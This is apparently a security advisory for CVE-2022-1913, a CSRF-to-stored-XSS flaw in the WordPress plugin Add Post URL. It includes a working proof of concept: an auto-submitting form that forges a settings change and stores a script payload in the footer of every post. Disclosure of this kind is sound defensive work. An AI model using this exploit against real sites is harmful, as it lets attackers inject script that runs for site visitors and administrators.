Add Post URL <= 2.1.0 – Arbitrary Settings Update to Stored XSS via CSRF | CVE 2022-1913

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=wp-posturl/posturl-options.php" method="POST">
    <input type="text" name="add_url_by_default" value="true">
    <input type="text" name="header_text" value="">
    <input type="text" name="footer_text" value="<img src=x onerror=alert(/XSS/)>">
    <input type="text" name="add_to_home" value="true">
    <input type="text" name="add_to_page" value="true">
    <input type="text" name="add_to_category" value="true">
    <input type="text" name="add_to_tag" value="true">
    <input type="text" name="add_to_archive" value="true">
    <input type="text" name="add_to_single" value="true">
    <input type="text" name="add_to_feed" value="true">
    <input type="text" name="add_credit" value="true">
    <input type="text" name="Submit" value="Save Changes">
</form>
<script>
    document.getElementById("test").submit();
</script>

XSS will be triggered in all posts